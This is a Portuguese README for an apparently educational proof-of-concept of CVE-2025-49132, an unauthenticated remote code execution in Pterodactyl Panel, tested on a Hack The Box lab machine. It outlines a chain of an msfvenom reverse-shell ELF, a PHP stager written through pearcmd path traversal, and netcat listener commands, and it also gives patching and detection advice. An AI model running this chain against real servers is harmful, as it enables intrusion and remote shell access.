Pterodactyl Panel Locale RCE (CVE-2025-49132) — PoC Educacional
Apenas para testes autorizados e aprendizado defensivo.
Este repositório é destinado a ambientes de laboratório controlados (ex.: configurações CTF/HTB) onde você possui o alvo ou tem*permissão explícita por escrito para testá-lo.
Contexto
Este repositório contém uma prova de conceito educacional em Python (pterodactyl_rce.py) para uma vulnerabilidade real que afeta versões do Pterodactyl Panel anteriores à v1.11.11. Em configurações vulneráveis, um atacante não autenticado pode alcançar execução remota de código através do endpoint /locales/locale.json devido ao tratamento inadequado dos parâmetros locale e namespace.
Esta variante do PoC tem como alvo ambientes onde o PHP-PEAR está instalado e foi construída/validada contra a máquina aposentada do Hack The Box Pterodactyl: https://app.hackthebox.com/machines/Pterodactyl. Também pode funcionar em outras configurações de laboratório onde as mesmas condições são atendidas.
Referência da vulnerabilidade
- GitHub Advisory: GHSA-24wv-6c99-f843 (CVE-2025-49132)
- Afetado: Pterodactyl Panel < 1.11.11
- Corrigido em: v1.11.11 (commit de correção
24c82b0…)
Ideia de alto nível (como o PoC funciona)
Em alto nível, o PoC encadeia estas etapas:
- Gera um payload ELF reverso TCP para Linux x64 com
msfvenom.
- Serve esse ELF usando um servidor HTTP (uma requisição, depois sai).
- Abusa do tratamento vulnerável de
/locales/locale.json para escrever um "stager" PHP em /tmp (através de um truque de pearcmd config-create).
- Aciona o stager através do endpoint de locales para que ele:
- baixe o ELF para
/tmp,
- o torne executável,
- o execute para conectar de volta ao seu listener.
O script usa um cliente HTTP bruto em vez de curl para a etapa de "upload" porque algumas ferramentas podem normalizar ou codificar caracteres de forma a quebrar a requisição criada.
Nota: Este README permanece intencionalmente em um nível defensivo/educacional. Use o código apenas em ambientes que você tem permissão para testar.
Requisitos (local)
- Python 3.10+ (testado apenas com a biblioteca padrão)
msfvenom disponível em $PATH (Metasploit Framework)
nc (netcat) se quiser que o PoC inicie um auto-listener
- Acesso de rede entre sua máquina de laboratório e sua instância do Pterodactyl no laboratório
Configuração
O script atualmente espera um hostname HTB do painel no código fonte:
host = "panel.pterodactyl.htb"
Além disso, o caminho hardcoded para PHP-PEAR está definido como: ../../../../../usr/share/php/PEAR.
Se você estiver testando isso fora da caixa Pterodactyl, precisará ajustar este caminho de acordo com sua configuração local.
Uso (apenas laboratório controlado)
1) Execução básica (auto-listener habilitado)
python3 pterodactyl_rce.py <LHOST> <LPORT>
<LHOST>: seu IP de callback acessível pelo servidor do laboratório
<LPORT>: porta para receber o shell reverso
2) Execução sem auto-listener
Se preferir executar seu próprio listener:
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen
Em seguida, em outro terminal:
nc -lvnp <LPORT>
Exemplo (placeholder)
python3 pterodactyl_rce.py 10.10.14.225 5555
Saída / o que esperar
Fluxo típico:
- Gera um payload ELF (nome aleatório como
shell_ab12cd34)
- Inicia um servidor HTTP de uma requisição na porta
:8080
- Cria um stager PHP em
/tmp/<random>.php
- Aciona o stager
- Remove o arquivo ELF local após o acionamento
- Imprime uma dica para melhorar seu shell (PTY)
Captura de tela da exploração bem-sucedida:

Problemas Conhecidos / Notas de Laboratório
- Instabilidade do laboratório: A máquina/serviço alvo pode estar instável (timeouts, 5xx intermitentes, execução atrasada). Se uma execução falhar, tente novamente após uma breve pausa.
- Reutilização de payload antigo: O ambiente pode, às vezes, acionar um arquivo mais antigo enviado/staged. O script limpa apenas um arquivo local na máquina atacante
mas não toca no arquivo na pasta /tmp/ da máquina.
Soluções alternativas:
- Execute novamente com um novo nome de payload aleatório (comportamento padrão neste script).
- Altere a porta inicial do http.server de 8080 para outra porta.
- Altere a porta do seu listener (ex.: 4444 → 5555) e gere o payload novamente.
- Certifique-se de que seu servidor HTTP está servindo o arquivo atual (pare qualquer servidor/listener anterior).
- Se tiver acesso, remova manualmente artefatos antigos
/tmp/<nome>.php no alvo; caso contrário, aguarde um pouco e tente novamente.
Orientações defensivas (o que corrigir / como detectar)
Correção / Mitigação
- Atualize para Pterodactyl Panel v1.11.11 ou posterior.
- Não há solução alternativa dentro do aplicativo além de corrigir; você pode bloquear o endpoint
/locales/locale.json no nível do servidor web, mas isso pode quebrar funcionalidades de localização.
Ideias de detecção
Procure por requisições suspeitas como:
- Requisições para
/locales/locale.json com valores incomuns de locale= com travessia de diretório
- Valores estranhos de
namespace= (nomes inesperados, strings longas, caracteres incomuns)
- Criação repentina de arquivos inesperados em
/tmp/ no host do painel
Correlacione logs web com:
- novos processos gerados pelo usuário
www / PHP-FPM
- conexões de saída para destinos/portas não padrão
- uso inesperado de
curl/wget a partir do host do painel
Notas sobre uso responsável
- Não escaneie ou teste instâncias públicas.
- Se você é operador de uma instância vulnerável, trate isso como crítico e corrija imediatamente.
Agradecimentos
- PoC original: Pterodactyl Panel (< 1.11.11) — Remote Code Execution (RCE) (EDB-ID: 52341, CVE-2025-49132) por Zen-kun04
https://www.exploit-db.com/exploits/52341
- Relator / crédito da descoberta: O advisory do GitHub credita @azimoff337 por relatar GHSA-24wv-6c99-f843 / CVE-2025-49132.
- GitHub Advisory Database / processo CVE: por rastrear e publicar os detalhes da vulnerabilidade.
- Hack The Box (HTB): este PoC foi construído/validado em um ambiente de laboratório HTB controlado para aprendizado e pesquisa defensiva.
Sem spoilers para conteúdo HTB ativo.